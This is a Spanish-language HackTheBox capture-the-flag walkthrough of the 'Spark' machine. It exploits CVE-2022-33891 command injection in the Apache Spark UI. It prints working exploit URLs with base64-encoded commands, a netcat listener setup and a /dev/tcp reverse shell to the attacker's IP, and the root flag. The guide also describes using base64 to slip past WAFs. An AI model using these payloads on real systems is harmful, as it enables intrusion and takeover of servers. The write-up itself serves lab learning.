Spark

HackTheBox — Linux · CVE-2022-33891 Apache Spark RCE → Reverse Shell → root

● MUY FÁCIL HACKTHEBOX LINUX APACHE SPARK RCE · CVE-2022-33891 📅 Mayo 2026 · By Brandeiks

Resumen

Spark es una máquina de dificultad muy fácil de HackTheBox que corre sobre Linux. El nombre hace referencia directa al servicio expuesto: Apache Spark, un motor de análisis de datos distribuido ampliamente usado en entornos de Big Data.

La máquina expone Apache Spark versión 3.0.3 en el puerto 8080. Esta versión es vulnerable a CVE-2022-33891, una vulnerabilidad de OS Command Injection en la interfaz web de Spark UI. Cuando spark.acls.enable está activado, la función de verificación de permisos construye un comando de shell directamente desde la entrada del usuario sin sanitización, permitiendo inyección arbitraria de comandos.

El flujo de ataque es directo: reconocimiento con nmap, identificación de la versión vulnerable en la UI web, clonado del PoC público de HuskyHacks, verificación de RCE mediante sleep, y finalmente establecimiento de una reverse shell como root usando netcat.

FaseTécnica / HerramientaResultado
Reconocimientoping + nmap -p- -sSCV + xsltprocSSH 22, Spark Master 8080, Worker 8081, 35623
EnumeraciónNavegador → :8080Apache Spark 3.0.3 → CVE-2022-33891
ExplotaciónCVE-2022-33891 PoC (python3 poc.py --check)Sleep 10 confirma RCE como root
Post-Explotaciónnc -lvnp 443 + poc.py --revshellShell interactiva como root
Flagcat flag.txtf8492d7f24b1f4c9505278382091a330

Reconocimiento

1
VERIFICACIÓN DE CONECTIVIDAD CON PING

Antes de escanear, verificamos que el host esté activo enviando 3 paquetes ICMP. El TTL de la respuesta nos da una pista sobre el sistema operativo: valores cercanos a 64 indican Linux/Unix (el TTL inicial es 64, y cada hop reduce en 1). Un TTL de 63 confirma que estamos ante una máquina Linux con un salto entre nosotros y el objetivo.

PING
$ ping 10.129.228.19 -c 3
PING 10.129.228.19 (10.129.228.19) 56(84) bytes of data.
64 bytes from 10.129.228.19: icmp_seq=1 ttl=63 time=114 ms
64 bytes from 10.129.228.19: icmp_seq=2 ttl=63 time=113 ms
64 bytes from 10.129.228.19: icmp_seq=3 ttl=63 time=116 ms
 
--- 10.129.228.19 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2037ms
rtt min/avg/max/mdev = 113.476/114.573/116.028/1.072 ms
2
ESCANEO DE PUERTOS CON NMAP Y EXPORTACIÓN XML

Lanzamos un escaneo exhaustivo sobre todos los puertos TCP. El resultado revela 4 puertos abiertos relevantes: el puerto 22 con OpenSSH 8.2p1, el puerto 8080 con Spark Master (Jetty 9.4.40), el puerto 8081 con Spark Worker, y el puerto 35623 desconocido (que corresponde al puerto del worker interno). El header HTTP revela Jetty 9.4.40.v20210413 y los títulos de las páginas confirman los roles Spark Master y Spark Worker.

Exportamos el resultado a XML con -oX spark.xml para luego transformarlo en HTML con xsltproc y tener evidencia visual del escaneo.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.228.19 -oX spark.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-20 00:49 -0400
Nmap scan report for 10.129.228.19
Host is up (0.12s latency).
Not shown: 65531 closed tcp ports (reset)
 
PORT        STATE SERVICE VERSION
22/tcp      open   ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp    open   http     Jetty 9.4.40.v20210413
|_http-title: Spark Master at spark://spark:7077
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.40.v20210413)
8081/tcp    open   http     Jetty 9.4.40.v20210413
|_http-server-header: Jetty(9.4.40.v20210413)
|_http-title: Spark Worker at 10.129.228.19:35623
| http-methods:
|_  Potentially risky methods: TRACE
35623/tcp   open   unknown
 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 67.50 seconds

// DESGLOSE DEL COMANDO NMAP

-p- → Escanea los 65,535 puertos TCP. Sin esta flag Nmap revisaría solo los 1000 más comunes y perdería el puerto 35623.
-sS → SYN Scan (Half-Open): envía SYN, si recibe SYN-ACK el puerto está abierto, responde RST sin completar el handshake. Más rápido y sigiloso que un connect scan.
-sC → Scripts NSE por defecto: ejecuta scripts de enumeración automática, incluyendo http-title que nos da el título de la página web de Spark.
-sV → Detección de versiones: identifica el servidor Jetty y la versión exacta.
-n → Sin resolución DNS: acelera el escaneo.
-Pn → Sin ping previo: evita que el firewall bloquee el descubrimiento.
--min-rate=5000 → Mínimo 5000 paquetes/segundo, apropiado en CTF.
--open → Solo muestra puertos en estado OPEN.
-oX spark.xml → Exporta en XML para transformar con xsltproc.

3
CONVERSIÓN DEL REPORTE NMAP A HTML CON XSLTPROC

Transformamos el XML generado por Nmap a una tabla HTML navegable usando la hoja de estilos oficial incluida en Kali. Esto nos da un reporte visual listo para incluir en informes de auditoría.

XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl spark.xml > spark.html

Enumeración Web — Identificación de la Versión

4
ACCESO A LA INTERFAZ WEB DE APACHE SPARK

Navegamos al puerto 8080 del objetivo. La interfaz web de Spark Master muestra información crítica sin requerir autenticación: la versión exacta del software, los workers conectados, las aplicaciones en ejecución y la URL del cluster.

La página revela Apache Spark 3.0.3. Con este dato buscamos vulnerabilidades conocidas para esta versión específica y encontramos CVE-2022-33891: una vulnerabilidad de OS Command Injection que afecta a Apache Spark hasta la versión 3.0.3 (y ramas 3.1.x hasta 3.1.2, 3.2.x hasta 3.2.1).

URL
http://10.129.228.19:8080/

// CVE-2022-33891 — APACHE SPARK OS COMMAND INJECTION

Versiones afectadas: Apache Spark ≤ 3.0.3, 3.1.x ≤ 3.1.2, 3.2.x ≤ 3.2.1
Componente: Spark UI con spark.acls.enable=true
Tipo: OS Command Injection (CWE-78)
Impacto: RCE como el usuario que ejecuta Spark (en este caso, root)
Vector: La función de verificación de ACLs construye un comando shell usando directamente el parámetro doAs de la URL sin sanitización. Un atacante puede inyectar comandos arbitrarios a través de este parámetro.
CVSS: 8.8 (Alto) — explotable remotamente sin autenticación previa.


Explotación — CVE-2022-33891

5
CLONAR EL REPOSITORIO POC

Descargamos el PoC (Proof of Concept) público de HuskyHacks para CVE-2022-33891. Este script Python automatiza la explotación: construye el payload en Base64, lo envía vía el parámetro doAs en la URL de Spark UI, y gestiona tanto la verificación de vulnerabilidad como el establecimiento de la reverse shell.

GIT
$ git clone https://github.com/HuskyHacks/cve-2022-33891.git
Cloning into 'cve-2022-33891'...
remote: Enumerating objects: 69, done.
remote: Counting objects: 100% (69/69), done.
remote: Compressing objects: 100% (56/56), done.
remote: Total 69 (delta 22), reused 23 (delta 5), pack-reused 0 (from 0)
Receiving objects: 100% (69/69), 19.68 KiB | 19.68 MiB/s, done.
Resolving deltas: 100% (22/22), done.
6
CREAR ENTORNO VIRTUAL E INSTALAR DEPENDENCIAS

Kali Linux 2024+ impide instalar paquetes Python directamente en el sistema con pip install para proteger la instalación del OS (política PEP 668). La solución es crear un entorno virtual aislado, instalar las dependencias ahí y activarlo antes de ejecutar el script.

VENV
$ cd cve-2022-33891
$ python3 -m venv venv
$ source venv/bin/activate
(venv) $ pip install -r requirements.txt

// ¿POR QUÉ EL ENTORNO VIRTUAL?

Desde Kali 2024, pip install directo en el sistema está bloqueado por la política PEP 668. El error externally-managed-environment te indica que el entorno Python está gestionado por el gestor de paquetes del OS (apt). Instalar paquetes pip directamente podría romper dependencias del sistema. La solución correcta: python3 -m venv venv crea un entorno Python aislado en la carpeta venv/, con su propio pip y site-packages, sin tocar el sistema. Recuerda siempre activar el entorno con source venv/bin/activate antes de usar el PoC.

7
VERIFICAR LA VULNERABILIDAD CON --CHECK

Antes de lanzar la reverse shell, verificamos que el objetivo sea realmente vulnerable. El flag --check hace que el PoC inyecte un sleep 10: si la respuesta tarda exactamente 10 segundos, el servidor está ejecutando nuestro comando, confirmando RCE. La URL construida internamente por el PoC es del tipo: http://10.129.228.19:8080/?doAs=`echo [base64] | base64 -d | bash`

POC
(venv) $ python3 poc.py -u http://10.129.228.19 -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] request: http://10.129.228.19:8080/?doAs=`testing`
[*] Response status code: 403
[*] Performing sleep test of 10 seconds...
[*] 2026-05-20 00:11:43.753466
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://10.129.228.19:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] 2026-05-20 00:11:54.143414
[*] Delta T: 10
[!] Sleep was 10 seconds! This target is probably vulnerable!

// ¿POR QUÉ RESPONDE 403?

El código 403 (Forbidden) es la respuesta esperada y correcta. Spark UI devuelve 403 cuando el usuario no está autorizado — pero eso ocurre después de ejecutar el código de verificación de ACLs. El comando inyectado se ejecuta dentro de esa función de verificación, por lo que el 403 confirma que el flujo vulnerable fue alcanzado. 403 = la inyección llegó al punto vulnerable. Si el servidor no fuera vulnerable, respondería de forma diferente o no habría retardo.


Reverse Shell

8
ABRIR LISTENER CON NETCAT EN PUERTO 443

Antes de lanzar el exploit con la reverse shell, abrimos un listener con netcat en el puerto 443. Usamos el puerto 443 porque es el puerto estándar de HTTPS y con frecuencia está permitido en firewalls, aumentando las posibilidades de que la conexión saliente del servidor llegue a nuestra máquina sin ser bloqueada.

Este listener queda a la espera de una conexión entrante. Cuando el PoC ejecute la reverse shell en el servidor, el servidor se conectará a nuestra IP y puerto, y recibiremos la shell.

NETCAT
$ sudo nc -lvnp 443
[sudo] password for kali:
listening on [any] 443 ...

// FLAGS DE NETCAT

-l → Listen mode: netcat espera conexiones entrantes en lugar de iniciar una.
-v → Verbose: muestra información sobre la conexión (IP origen, puerto).
-n → Sin resolución DNS: no intenta resolver IPs a nombres de host.
-p 443 → Puerto de escucha. Requiere sudo porque los puertos por debajo de 1024 son privilegiados en Linux.

9
LANZAR LA REVERSE SHELL CON EL POC

Con el listener activo, ejecutamos el PoC con el flag --revshell especificando nuestra IP (-lh) y el puerto de escucha (-lp). El PoC construye el payload de reverse shell, lo codifica en Base64 y lo inyecta en el parámetro doAs de Spark UI.

El comando inyectado internamente es del tipo: sh -i >& /dev/tcp/10.10.16.5/443 0>&1, que redirige stdin/stdout/stderr del servidor a nuestra máquina a través de TCP, dándonos una shell interactiva.

REVSHELL
(venv) $ python3 poc.py -u http://10.129.228.19 -p 8080 --revshell -lh 10.10.16.5 -lp 443 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
[*] nc -nvlp 443
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.16.5/443 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNS80NDMgMD4mMQ==
[*] Full exploit request is: http://10.129.228.19:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNS80NDMgMD4mMQ== | base64 -d | bash`
[*] Sending exploit...

Flag

10
OBTENCIÓN DE LA FLAG COMO ROOT

En el terminal donde tenemos el listener de netcat, recibimos la conexión del servidor. El prompt # y el resultado de whoami confirman que somos root: Apache Spark estaba corriendo con el usuario más privilegiado del sistema, y la inyección de comandos nos dio acceso directo con esos privilegios.

El archivo flag.txt se encuentra en el directorio home de root (/root/).

connect to [10.10.16.5] from (UNKNOWN) [10.129.228.19] 40512
sh: 0: can't access tty; job control turned off
# whoami
root
# ls -la
total 36
drwx------  6 root root 4096 Aug 4 2022 .
drwxr-xr-x 20 root root 4096 Aug 4 2022 ..
-r--------  1 root root   33 Aug 3 2022 flag.txt
drwxr-xr-x  3 root root 4096 Aug 4 2022 .local
drwx------  2 root root 4096 Aug 4 2022 .ssh
# cat flag.txt
f8492d7f24b1f4c9505278382091a330

// ¿POR QUÉ SOMOS ROOT?

Apache Spark fue iniciado por el usuario root en esta máquina. Cualquier proceso hijo que Spark genere heredará los permisos de root. Al inyectar un comando a través de CVE-2022-33891, ese comando se ejecuta en el contexto del proceso Spark, es decir, como root. En entornos de producción reales, Spark nunca debería ejecutarse como root — debería tener su propio usuario de servicio con privilegios mínimos. Este es un error de configuración adicional que agrava la severidad de la vulnerabilidad.


Referencia de Comandos

ping
ping <IP> -c <N>
Verifica conectividad con el host y determina el OS por el TTL de respuesta.
  • -c N → Envía N paquetes ICMP y para. Sin -c, ping corre indefinidamente.
  • TTL ≈ 64 → Linux/Unix (TTL inicial 64 menos hops).
  • TTL ≈ 128 → Windows (TTL inicial 128 menos hops).
nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escaneo exhaustivo de todos los puertos TCP con detección de versiones y scripts NSE.
  • -p- → Todos los 65,535 puertos TCP.
  • -sS → SYN scan, requiere sudo.
  • -sC -sV → Scripts NSE + detección de versiones.
  • -oX → Exportar a XML para xsltproc.
xsltproc
xsltproc /usr/share/nmap/nmap.xsl scan.xml > scan.html
Transforma el XML de nmap en una tabla HTML navegable para documentación.
  • nmap.xsl → Hoja de estilos incluida en Kali con nmap.
  • > file.html → Redirige el output al archivo HTML.
python3 -m venv
python3 -m venv venv && source venv/bin/activate
Crea y activa un entorno virtual Python aislado. Obligatorio en Kali 2024+ para pip install.
  • -m venv → Módulo de Python para entornos virtuales.
  • source activate → Activa el entorno (cambia el PATH a venv/bin/).
  • deactivate → Desactiva el entorno virtual.
poc.py --check
python3 poc.py -u <URL> -p <PORT> --check --verbose
Verifica si el target es vulnerable inyectando un sleep 10. Si tarda 10s, hay RCE.
  • -u → URL base del target (sin puerto).
  • -p → Puerto de Spark UI.
  • --check → Modo verificación con sleep 10.
  • --verbose → Muestra el payload y la URL completa.
poc.py --revshell
python3 poc.py -u <URL> -p <PORT> --revshell -lh <IP> -lp <PORT>
Inyecta un payload de reverse shell que conecta al listener de netcat.
  • --revshell → Modo reverse shell.
  • -lh → IP local (nuestra VPN tun0).
  • -lp → Puerto local donde escucha nc.
netcat (nc)
sudo nc -lvnp <PORT>
Listener TCP que espera la conexión entrante de la reverse shell.
  • -l → Modo escucha (listener).
  • -v → Verbose: muestra IP y puerto del cliente.
  • -n → Sin resolución DNS.
  • -p → Puerto de escucha. Puerto 443 para evadir firewalls.
git clone
git clone <URL_REPO>
Descarga el repositorio del PoC. Requiere conectividad a internet desde Kali.
  • --depth 1 → Clonar solo el último commit (más rápido).
  • -b <branch> → Clonar una rama específica.

Glosario

Apache Spark — Motor de Análisis Distribuido
Apache Spark es un framework open-source de procesamiento de datos distribuido, diseñado para análisis de Big Data a gran velocidad en memoria. Su arquitectura es maestro-esclavo: el Spark Master (puerto 8080) coordina el cluster y distribuye tareas; los Spark Workers (puerto 8081) ejecutan las tareas. Las aplicaciones se envían como Jobs a través de la API REST o la UI web. En entornos productivos, Spark se despliega en clusters Hadoop o Kubernetes; en esta máquina corre en modo standalone. La Spark UI es la interfaz web que muestra el estado del cluster, los jobs en ejecución y los logs — y es el vector de ataque de CVE-2022-33891.
CVE-2022-33891 — OS Command Injection en Spark UI
CVE-2022-33891 es una vulnerabilidad de inyección de comandos OS (CWE-78) en la interfaz web de Apache Spark (versiones ≤ 3.0.3, ≤ 3.1.2, ≤ 3.2.1). Cuando spark.acls.enable=true, la función checkUIViewPermissions construye un comando shell usando directamente el parámetro doAs de la URL sin sanitización. El parámetro se pasa como argumento al binario de verificación de permisos, pero al estar sin escapar, un atacante puede usar backticks (`` ` ``) para inyectar comandos arbitrarios. El servidor ejecuta el payload en el contexto del proceso Spark. Publicado el 5 de julio de 2022 por Kostya Kortchinsky. Parcheado en Spark 3.0.4, 3.1.3, 3.2.2 y 3.3.0.
OS Command Injection (CWE-78)
OS Command Injection ocurre cuando una aplicación construye comandos del sistema operativo usando datos controlados por el atacante sin sanitización adecuada. El atacante puede incluir metacaracteres de shell (;, |, &&, `` ` ``) para encadenar comandos adicionales. En CVE-2022-33891, la inyección se realiza con backticks en el parámetro doAs: la URL /?doAs=`comando` hace que el shell evalúe el contenido entre backticks antes de pasarlo como argumento al binario de verificación. Para evadir WAFs y caracteres especiales, el PoC codifica el payload en Base64 y lo decodifica en tiempo de ejecución: echo [base64] | base64 -d | bash.
Reverse Shell — Conexión Inversa
Una reverse shell es una técnica donde la máquina víctima inicia la conexión hacia el atacante (en lugar del esquema habitual donde el atacante se conecta a la víctima). Esto es necesario porque los firewalls suelen bloquear conexiones entrantes al servidor pero permiten las salientes. El flujo es: (1) el atacante abre un listener con nc -lvnp [puerto]; (2) se inyecta el payload en el servidor (sh -i >& /dev/tcp/[IP]/[PORT] 0>&1); (3) el servidor abre una conexión TCP hacia el atacante y redirige su stdin/stdout/stderr a esa conexión; (4) el atacante recibe la shell. El uso del puerto 443 imita tráfico HTTPS saliente, reduciendo la probabilidad de que el firewall lo bloquee.
Jetty — Servidor Web Embebido de Java
Eclipse Jetty es un servidor web y contenedor de servlets Java ligero, diseñado para ser embebido en aplicaciones Java. Apache Spark usa Jetty para servir su interfaz web (Spark UI) y sus endpoints REST. A diferencia de Tomcat o servidores web independientes, Jetty corre dentro del proceso JVM de Spark, por lo que hereda directamente los permisos del proceso Spark. En el escaneo nmap, el http-server-header: Jetty(9.4.40.v20210413) revela tanto el servidor web como su versión, útil para buscar vulnerabilidades adicionales. Jetty 9.4.x es la serie LTS compatible con Java 8 y 11.
Entorno Virtual Python (venv) en Kali 2024+
Desde Kali Linux 2024, el sistema Python está marcado como externally-managed (PEP 668). Esto impide que pip install instale paquetes directamente en el sistema para evitar conflictos con los paquetes gestionados por apt. La solución es usar python3 -m venv para crear un entorno virtual aislado: una copia del intérprete Python con su propio directorio site-packages independiente del sistema. Al activar el entorno con source venv/bin/activate, el PATH prioriza venv/bin/, por lo que python y pip apuntan al entorno aislado. Los paquetes instalados ahí no afectan al sistema. Alternativas: pip install --break-system-packages (no recomendado) o pipx para aplicaciones.
Base64 Encoding en Payloads de Shell
La codificación Base64 se usa frecuentemente en payloads de explotación para evitar problemas con caracteres especiales en URLs, firewalls o WAFs que inspeccionan el tráfico HTTP. En CVE-2022-33891, el payload de reverse shell (sh -i >& /dev/tcp/IP/PORT 0>&1) contiene caracteres como /, >, & y espacios que podrían interferir con el parsing de la URL o ser filtrados. Al codificarlo en Base64 y decodificarlo en tiempo de ejecución (echo [b64] | base64 -d | bash), se transmite una cadena alfanumérica segura que el servidor decodifica y ejecuta localmente, evadiendo los filtros de caracteres especiales en la URL.